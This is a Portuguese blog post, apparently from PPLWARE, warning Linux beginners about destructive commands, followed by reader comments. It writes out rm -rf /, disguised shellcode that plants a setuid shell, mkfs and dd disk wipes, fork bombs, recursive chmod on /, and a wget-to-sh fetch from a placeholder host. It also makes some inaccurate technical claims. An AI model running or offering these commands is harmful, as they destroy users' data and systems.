Proponha uma correção, faça uma sugestão
Comandos para “acabar” com o Linux
Andava eu a procurar novidades curiosas na Internet, quando descobri comandos que quando usados no Linux, podem ser “mortais” para esse sistema.
Apesar de eu não utilizar o Linux, penso que é interessante saberem estes códigos, sobretudo se pedirem ajuda num fórum e alguém mal intencionado sugerir alguns dos códigos que vos deixo.
Tenham em atenção os seguintes códigos:
rm -rf /
Este comando eliminará toda a informação do directório Root.
- char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Este comando faz precisamente o mesmo do primeiro, a única diferença consiste no facto de ser mais discreto. Mesmo os utilizadores mais habituados ao sistema Linux, podem não reconhecer o comando.
- mkfs.ext3 /dev/das
Este comando irá eliminar ou reformatar toda a informação existente no dispositivo indicado após o comando mkfs. - :(){ :|:& };:
Este comando leva o sistema ao limite. Mais conhecido por “forkbomb” este comando indica ao sistema que efectue o maior número de processos até que o sistema crash. Além de todos os constrangimentos causados por este comando, pode também causar danos ao corromper a informação. - chmod -R 777 /
Este comando permite a um outro utilizador ter privilégios de ler, escrever e executar (“Read, Write, Execute”). Os únicos ficheiros que “escapam” a este comando, são os ficheiros “/bin” e “/etc/bin” pois encontram-se em processamento. - wget http://codigomalicioso -O- | sh
Este comando faz com que o sistema efectue um download de um código malicioso e o instale na sua máquina. Como é fácil de prever, tudo será possível acontecer a partir desse momento.
O último comando é o mais destrutivo de todos, pois faz com que o disco seja formatado e fique tal e qual como vem de fábrica.
- dd if=/dev/zero of=/dev/sda
Espero que com este artigo os menos experientes ou conhecedores dos sistemas Linux fiquem mais protegidos contra ataques.
Este artigo tem mais de um ano
Loading ...
O mozilla 3.1 nao abre esta pagina… 🙁
E um topico util… De menos de 1% passavam a quase 0%
De realçar que distrus diferentes funcionam de maneira diferente (sebem que a base é semelhante e mts dos comandos se aplicam a todas as distrus) logo alguns desses comandos podem nao ter efeito por vezes.. dps tambem é necessario que sejam executados com root. lá esta, com linux faz se de tudo, ate mandar o sistema a baixo caso seja essa a vontade 😛
quem executa estes codigos é retardado.
anyway. consigo sugerir mais uma carrada deles igualmente destrutivos.
quem nao sabe, nao mexe :-p
Mac Fags: antes de bocas lembrar que aplica-se a OSX à mesma
@luminoso
a ideia é mostrar que os codigos podem vir dentro dum script qualquer, SH, C, etc. executas o script para instalar um “software” e ficas com o servidor/pc danificado permanentemente.
não significa que alguém to dê para tu executares.
será que da pra criar um execultavel ? rsrs coisas de windows !!
@Guilherme de Sousa
Guilherme, em princípio dão para todas as distros. Pouco muda de umas para as outras, as principais diferenças estão na organização dos directórios, ficheiros de configuração, software pré-instalado e software administrativo da distro.
O forkbomb nao acaba necessariamente com o SO… Tá certo que vai comer o computador todo, mas o Linux já a pensar nisso reserva uma quantidade mínima de RAM para o utilizador root, podendo o utilizador assim fazer CTRL+ALT+F1-F6 para fazer login num terminal e mandar abaixo o “flood” de processos.
Mas se alguém for burro o suficiente pra executar o tal comando de certeza que não vai saber disto…
Sim, penso que reserva 5% para o root…
No fundo em tutoriais e afins deve-se ter sempre cuidado com os comandos, depois de algum tempo já se começa a ter uma noção. Para os iniciados o melhor será não correr comandos de qualquer site que apareça pela frente ou esperar que outros corram os comandos LOL
cumpzz
O melhor comando será sem dúvida o tempo, para acabar c/ essas espécies de SOs 😀
@Jonblue
? lol
Penso que em vez de ser mkfs.ext3 /dev/das devia ser mkfs.ext3 /dev/sda, já que, que eu saiba, não existe o device das, mas o sda existe, é normalmente atríbuido às pens USB.
olhem que o ultimo comando ate tem utilidade e que se de facto limpar bem o disco e um petaculo para os muitos que vendem discos em segunda mao
“mac fags”
bahahahahahahahahaha… 🙂
“- dd if=/dev/zero of=/dev/sda”
é o mesmo que fazer recuperação do disco pelas drives que habitualmente veem escondidas no windows?
From wikipedia:
rm -rf (variously, rm -rf /, rm -rf *, and others) is frequently used in jokes and anecdotes about Unix disasters. The rm -rf / variant of the command, if run by a superuser on the root directory, would cause the contents of every writable mounted filesystem on the computer to be deleted.
Saliento o pormenor “If run by a superuser”
ou seja … if not … nepia ..
é só um exemplo.
honestamente não vejo a utilidade do assunto.
também podíamos gozar com a impossibilidade de criar pastas chamadas lpt1, com1, etc num outro sistema operativo…que embora não seja “destrutivo” para mim é apenas ridículo.
engraçado, engraçado é haver logo comentários como o do “Jonblue”, extraordinariamente contributivos …
Não penso que seja por este tipo de comandos existirem, ou este tipo de pormenores existirem (alguns, nem fazem nada de especial num ambiente configurado de forma decente.
Apenas para picar um bocadinho, viperbruno
“E um topico util… De menos de 1% passavam a quase 0%”
Sabes que os supercarros todos juntos também são menos de 1% dos carros existentes no mercado, não sabes … ? 😉
Cumps,
JP
Para completar o post anterior:
Não penso que seja por este tipo de comandos existirem, ou este tipo de pormenores existirem (alguns, nem fazem nada de especial num ambiente configurado de forma decente) que alguém escolha um SO ou outro.
Agora se compararem features desejadas para um determinado fim .versus. custos em licenças do SO e produtos necessários… aí sempre é algo concreto.
Atenção que os códigos que aí mostram só são “perigosos” (do tipo formatar partições, apagar dados, etc.) se forem corridos com privilégios root.
No entanto, quem não perceber um comando/script e tiver “dois dedos de testa” pesquisa sobre o mesmo no google e vê logo que é mau.
Penso que não ficaria nada mal divulgarem a fonte. Sendo isto praticamente apenas uma tradução e até a imagem é a mesma do texto original ainda pior. Visto que vocês não o fizeram, eu faço esse favor. Eu pelo menos não gostava que alguém usasse trabalho meu para proveito próprio sem, no mínimo indicar o sítio original da informação.
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
Conheço outro comando:
rm -fr /
No windows também existe o format c:
… sobre a informação original. Parece que a inicial é do Ubuntu Forums
http://ubuntuforums.org/announcement.php?f=326
(Também concordo com a indicação das fontes)
… também acho que sei donde veio o Tux Skeleton original (se não for já uma cópia).
http://www.comboutique.com/shop/homeboutique-14351-9-0-0-0-0.html
Olá a todos,
Não é a primeira vez que vejo questionarem o facto de nos artigos não terem as fontes. Mas por este artigo posso falar. Toda a informação do mundo tem origem em fontes, pois se estas não existissem, não haveria informação. Agora, existem várias maneiras de tratar essa mesma informação. Neste caso, eu li sobre este assunto, sem exagero em mais de 6 locais diferentes. Locais esses espalhados por sites de todo o mundo. Após ter lido, a informação foi compilada, e deu origem a um artigo próprio, sem qualquer tipo de plágio ou de cópia. Como a informação foi retirada de diversos sites, e foram somente os comandos, penso que não há lógica em colocar essas mesmas fontes, pois como muitos já sabem, esses códigos são públicos.
De qualquer forma as criticas são sempre bem vindas, desde que construtivas, pois assim ajudará a que o PPLWARE seja cada vez melhor, maior e mais visto.
Cumps.
Não pretendo criticar ou dizer que não foi visto em 6 sites diferentes, mas a explicação de cada comando nesta página é a versão traduzida da que eu forneci.
@Neutral
Curiosamente, a informação não foi retirada somente desse site. Mas obrigado pela dica sobre as fontes. Terei em conta isso 🙂
Abraços
Ainda bem. Não pretendia criticar o trabalho de ninguem, ate porque mesmo que isto fosse uma tradução dava trabalho. Apenas achei que seria justo para os autores originais. Peço desculpa
Porque é que há aqui tto pessoal a dizer mal do Linux? Quer-me parecer que quando se fala de Windows diz-se mal do Windows. Quando se fala do Linux diz-se mal do Linux… mas o que é que se passa? Então mas o Linux nao er ao futuro contra a M$ e mais nao sei quê?
essa fork bomb é brilhante pela simplicidade dela. a primeira vez que olhei pra ela, pensei que fosse mesmo um comando reservado qualquer de caracteres improvaveis e especiais. Só depois de olhar pra isso com olhos de ver, é que… vi lol
pra windows ainda consegue ter uma implementacao mais simples, sendo a ideia a mesma…
é engraçado ver que tanta proteccao tanto codigo, preocupacao com seguranca, firewall, AV, etc… e pode cair tudo perante uma coisa tao pouca, simples e eficaz. Até assusta. Mas acho que o que mais me assusta é que a ideia é a facilidade de a reproduzir facilmente por acidente.
Atenção, isto nao define sistemas operativos como maus, até porque ha maneiras de contornar uma situação destas.
so tenho uma palavra… WINDOWS… so msm pa dizer aos defensores do linux… k tanto criticam o windows… k linux tmb tem erros….
Vou testar esses comandos lá na pós… huuhshshsuhsu
@Pedro
Isto não são erros, são comandos que se utilizados por administradores podem danificar o sistema. No windows basta que um administrador elimine um ficheiro específico da pasta system32 ou system que o sistema vá c’os cornos, não quer dizer que seja um erro do SO.
@Vítor M.
Isso de ter traduzido o artigo todo sem referenciar a fonte…
“Visto aqui e aqui” (no fim do post) não são as fontes?
Depois de o terem indicado, sim 😉
@Pedro,
queres uma lista de quantas páginas com comandos em windows que lixam o sistema operativo?
Os comandos fornecidos, na sua maioria só fazem algo, se usados por alguém como SuperUser, o famoso SU, que no windows … nem existe :), uma vez que és administrador … é tudo à grande.
O que num sistema normal, não acontece.
mas não vou entrar para aqui numa guerra sobre SO’s … quem quer usa, quem não quer não usa, estou-me nas tintas se pensam bem ou mal do SO.
Até porque, alguns dos que dizem mal, são como os que dizem mal do Vista … ver ver … nunca viram 😉 é só de ouvir falar.
Pedro comandos para destruir sistemas sejam em linux sejam em Windows não são erros, são comandos uteis. Já me deparei com situações em que a solução para resolver problemas especificos era a destruição do sistema e é aí que estes comandos entram.
Não fiques com a ideia errada:
para usares estes comandos para destruir sistemas em linux tens de perceber bem sobre este sistema e não é um utilizador comum que os vai saber utilizar sem pesquisar. Além disso não é um puto qualquer de 12 anos com a mania que é hacker que te vai conseguir fazer isso no teu PC se usares Linux. Estes comandos existem por necessidade e, por vezes, por segurança. Imagina que precisas de apagar dados do teu disco rigido para ninguem ver de maneira a que o sistema deixe de funcionar e os dados sejam irrecuperaveis?! É para situações como estas que comandos deste género existem.
Cumprimentos 😉
claruuu logo os espíritos santos de orelha.. a fonte a fonte.. ai meu Deus falta a fonte, mas qual fonte?
O Hélio já explicou que a “fonte” são um pouco de cada fonte, logo são fontes ou na melhor das opções, são fontanários. 😛
Mais perigoso que a maioria desses comandos (que em Windows seria qualquer coisa do género “format alfabeto_todo:”), é quando alguém inexperiente usa comandos do HAL sem saberem que com isto podem danificar o hardware do sistema.
Bah fontes e mais fontes, onde andam as fontes dos sites que vocês meteram? Até parece que estes comandos foram inventados pelos sites que aqui meteram.
E sim, para Windows também há forkbomb. Criem um batch script com ” %0|%0
” (sem as aspas claro) e têm um forkbomb.
Não só para Windows assim como para qualquer SO:
http://en.wikipedia.org/wiki/Forkbomb
chmod -R 000 /
Tira a totalidade das permissoes de toda a partição..
Ficamos com acesso a quê?
nada!!!!!!!!
Basta por os dois posts lado-a-lado que nota-se perfeitamente que um post é cópia da outra. Até a imagem é de lá lol
se algum dia precisar de eliminar todos os dados do meu mt rapido mando.o da janela. 🙂
linux sucks !
pessoal tenho lido artigos em blogs aparentemente sérios que visualizam o declinio e queda total do linux (qualquer que seja a distro) se se confirmar, como vem sendo até agora, o grande avanço que a microsoft está conseguindo com o novo sistema windows7. esperar e ver.
Ve la o que é que acabaste de dizer e baseado em que. ‘linux sucks’ baseado em ‘se se confirmar, como vem sendo até agora, o grande avanço que a microsoft está conseguindo com o novo sistema windows7’.
ora, a conclusao de o windows 7 estar mt melhor nao a tiraste da beta de certeza ja que esta é um vista com mais bugs ainda provavelmente, logo essa conclusao tera sido da publicidade que a microsoft tem andado a fazer a levesa do 7. como todos sabemos o vista nao vingou por duas razoes: a principal foi nao trazer vantagens suficientes em relação ao xp em proporçao com os recursos que come.. e a outra foi a maioria das pessoas (que nem pescam nada de informatica por sinal) terem ficado com os ouvidos cheios de que ele nao prestava e terem ficado convictas disso (nao que seja mentira, mas é apenas baseado na opiniao de alguem que acham ter algum conhecimento na materia).
estrategia da microsoft: antes de sair o proprio 7 bora começar a atirar para o ar que vai ser mta leve… como a maior parte nao percebe do assunto vai tomar isso como certo (mesmo que nao o seja).
achas isso um bom argumento portanto?
Não gosto de Linux como SO para computador pessoal, mas daí até ‘suckar’ e desaparecer com o windows 7 vai um grande passo (um passo imbecil e impossível).
Não vou perder tempo a explicar porque é que o post deste nosso amigo não tem ponta por onde se pegar 😀
acho que alguns dos computadores do técnico vão ficar ligeiramente mal tratados…
se querias informar então podias dizer que os comandos só são validos com previlegios administrativos como root e que todas as ferramentas que mencionas são utilitários muito importantes para o sistema e que são como muitos outros uma faca de dois gumes podem fazer bem ou mal.
tal como o teu artigo, se a tua intenção fosse boa – para além da tradução de um artigo – tinha falado de programa anti-virus, anti-rootkit, firewall ou outra porcaria qualquer e não estaríamos a falar de supostas “deficiencias” do sistema, mas sim de programas realmente uteis.
o que estamos a falar é na verdade de versatilidade, porque só dessa forma é possivel executar esses comandos ou outros como correr um lniux de um livecd directamente para a ram e depois retirar o cd
ja agora porque não escreves sobre fazer [ c:\del /f /s /q * ] ?
ah e se queres ser útil procura uma de muitas lutas por direitos basicos que nos são tirados todos os dias e faz-te util
agora os detalhes tecnicos
– no inicio de cada comanda?? tsk tsk tenta $ ou parecido
o chmod -R 777 / afecta todo o sistema sem excepção a questão dos binarios esta relacionado com o facto da permissão estar atribuida na execução
wget http://codigomalicioso -O- | sh
depende de quem executa o comando, se não tiver permissões não danifica o sistema
que nos leva a bíblia do Unix: Root é restrito a tarefas de administração
O Carlos Rajas diz sempre o mesmo “linux sucks !”
Obviamente só se chateia quem quer. Mas acho que até ele vai ter dificuldade em responder a uma questão: Se “linux sucks” por que é que, actualmente, em 439 dos 500 supercomputadores o sistema operativo é o Linux ?
Podem obter estatísticas de vários tipos seleccionado em Statistics types (Não vale a pena questionar a credibilidade do site. É total e amplamente citado. As estatísticas saem duas vezes por ano, a última é deste mês)
http://www.top500.org/stats/list/32/osfam
Interessante. mais seria legal colocar como corrigir alguns desses erros (como o fork bomb – limitando o nº de processos que um usuário pode abrir) e não deixar que outros aconteças (retirando a permisão de sudo – rodar um programa com privilegio de root – do computador), afinal, a maioria desses comandos só rodam como root, exceto pel oque sei, o fork bomb.
Agora, pessoal, linux não é a prova de idiotas. se deres um rm -rf ~, ele vai apagar a sua home! por isso deve-se saber de onde vem um scrit de instalção. se o site for confável, tudo bem. se não, ou saiba o que cada comando faz, ou não rode o script. Afinal, vc tem que ir lá e rodar o scrit por própria vontade.
…
e Carlos, não viaja. só porque não sabe utilizar linux, não fale merda. fanboy da microsoft é foda. Me digas, o que tem o Windows 7, de tão inovador, como SO? (eu disse como SO!) .
…
antes de falar mal de algo, aprenda sobre ele. depois de conheçer, aí sim, pode falar mal, afinal, aí talvez você tenha argumentos, que muito ajudam numa boa discusão.
……..
Olá pessoal,
em relação a este artigo, eu não tenho grandes problemas com as fontes, no entanto acho que o objectivo deste artigo (ou não foi atingido) ou foi, e mal.
Acho que o pessoal devia, SIM aprender estes comandos, porque SÃO úteis. Mas não são erros…. (ainda gostava de saber qual é o conceito de erro usado por algumas pessoas, enfim)
O que é mais rápido? Um comando que destrói o sistema, ou .. apagar pastas com o GUI? (e se eu quiser destruir tudo o que tenho no pc? quer por razões pessoais ou legais… não importa…)
Como devem saber, o Linux é usado pela maioria dos sistemas informáticos dos diferentes exércitos por todo o mundo. Dá muito jeito destruir tudo (até mesmo queimar o hardware com alguns “comandos” suicidas do HAL) em certas ocasiões.
No entanto, repetindo, estes comandos só podem ser dados pelo Root, pelo Super utilizador. A grande maioria do pessoal que diz que o GNU/Linux ‘sucka’ são aqueles que nunca usaram 🙂 (leia-se USARAM 😀 )
a não ser que há quem acorde e : Objectivo do dia…. hummm, destuir o meu sistema Linux, MWAHAHAHAH, vou acabar com o MEU sistema… hihihih, eu tenho a password.. eu vou usar ‘COmandos para “acabar” com o Linux. ‘ ahahaha. pk eu sou um gajo bueda mau yô e as babes vao adorar-me por isto.. hihiii, e ainda arranjo um emprego na m$ x )
–> ridículo…
by the way : o Linux é Open Source… posso usar bem e posso usar mal. Até agora a comunidade (global) esforça-se para tornar o Linux mais atraente para ‘quem não percebe um pinte**o de informática’.. Eu uso, e gosto, e não vou mudar. 🙂 respeitem quem usa.. 😉 o Linux não ‘sucka’
Vejam ao vivo no MC OS X
https://www.youtube.com/watch?v=7RfihcLJLeo&NR=1
e já agora também no Ubuntu Linux
https://www.youtube.com/watch?v=D4fzInlyYQo
isto só para não começar uma discussão acesa sobre Linux e MC.
muito bacana o seu post, não sabia que o comando “dd” támbem dava para zerar o hd!
Apple aconselha uso de antivírus nos Mac
O mito de que a plataforma Mac é imune a vírus está a ser derrubado pela própria Apple. A empresa recomendou no site oficial que os utilizadores devem instalar um programa antivírus nas suas máquinas
Discretamente, um tópico sobre o uso de antivírus foi inserido no site de suporte ao Mac OS a 21 de Novembro. “A Apple encoraja o uso abrangente de múltiplos antivírus”, diz um trecho do texto. Como sugestões, a empresa refere o VirusBarrier X5, o Norton Anti-Virus 11 para Macintosh e o McAfee VirusScan para Mac.
Durante muito tempo, os produtos da Apple foram considerados blindados contra crackers, já que a plataforma Windows – muito mais disseminada – era o alvo principal dos ataques.
Porém, com a crescente adopção da plataforma Mac, a própria empresa reconhece a necessidade de que os utilizadores se protejam das ameaças encontradas online Uma das explicações possíveis é que os perigos estão cada vez menos focadas em falhas no sistema operativo e mais em falhas em aplicações e browsers – que são independentes da plataforma.
kmu e k apago u meu linux?
digam-me presisu de saber